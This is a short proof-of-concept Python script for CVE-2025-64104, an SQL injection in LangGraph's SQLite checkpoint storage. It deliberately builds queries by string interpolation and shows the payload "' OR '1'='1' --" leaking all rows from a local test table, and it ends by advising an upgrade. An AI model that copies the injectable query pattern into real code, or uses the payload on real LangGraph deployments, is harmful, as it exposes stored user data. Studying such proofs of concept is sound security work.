CVE-2025-64104: LangGraph SQLite Checkpoint SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-64104 PoC - LangGraph SQLite Checkpoint SQL Injection Note: This is a simplified demonstration for educational purposes only. """ import sqlite3 import aiosqlite import asyncio # Vulnerable code pattern (before fix) def vulnerable_query_builder(thread_id, checkpoint_id): """ Simulates the vulnerable SQL query construction in LangGraph < 2.0.11 Direct string concatenation without parameterization """ # This is the vulnerable pattern - direct string interpolation query = f"SELECT * FROM checkpoints WHERE thread_id = '{thread_id}' AND checkpoint_id = '{checkpoint_id}'" return query # Example of SQL Injection payload def generate_sql_injection_payload(): """ Generate SQL injection payload to bypass authentication """ # Payload to inject: ' OR '1'='1' -- malicious_thread_id = "' OR '1'='1' --" malicious_checkpoint_id = "anything" return malicious_thread_id, malicious_checkpoint_id # Demonstrate the vulnerability def demonstrate_vulnerability(): # Create a test database conn = sqlite3.connect(':memory:') cursor = conn.cursor() # Create test table with sensitive data cursor.execute(''' CREATE TABLE checkpoints ( thread_id TEXT, checkpoint_id TEXT, data TEXT, access_level TEXT ) ''') # Insert test data cursor.execute("INSERT INTO checkpoints VALUES ('user1', 'ckpt1', 'secret_data_1', 'user')") cursor.execute("INSERT INTO checkpoints VALUES ('user2', 'ckpt2', 'secret_data_2', 'admin')") conn.commit() # Normal query (intended behavior) print("=== Normal Query ===") normal_query = vulnerable_query_builder('user1', 'ckpt1') print(f"Query: {normal_query}") cursor.execute(normal_query) print(f"Result: {cursor.fetchall()}") # Malicious query (SQL Injection) print("\n=== SQL Injection Attack ===") malicious_thread_id, malicious_checkpoint_id = generate_sql_injection_payload() malicious_query = vulnerable_query_builder(malicious_thread_id, malicious_checkpoint_id) print(f"Malicious Query: {malicious_query}") cursor.execute(malicious_query) print(f"Result (ALL data leaked): {cursor.fetchall()}") conn.close() # Async example for LangGraph async usage async def vulnerable_async_query(db_path, thread_id, checkpoint_id): """ Vulnerable async query pattern used in LangGraph async implementation """ async with aiosqlite.connect(db_path) as db: # Vulnerable: direct string formatting query = f"SELECT * FROM checkpoints WHERE thread_id = '{thread_id}'" async with db.execute(query) as cursor: return await cursor.fetchall() if __name__ == "__main__": demonstrate_vulnerability() print("\n[!] This PoC demonstrates the SQL injection vulnerability.") print("[!] Upgrade to LangGraph >= 2.0.11 to fix this issue.")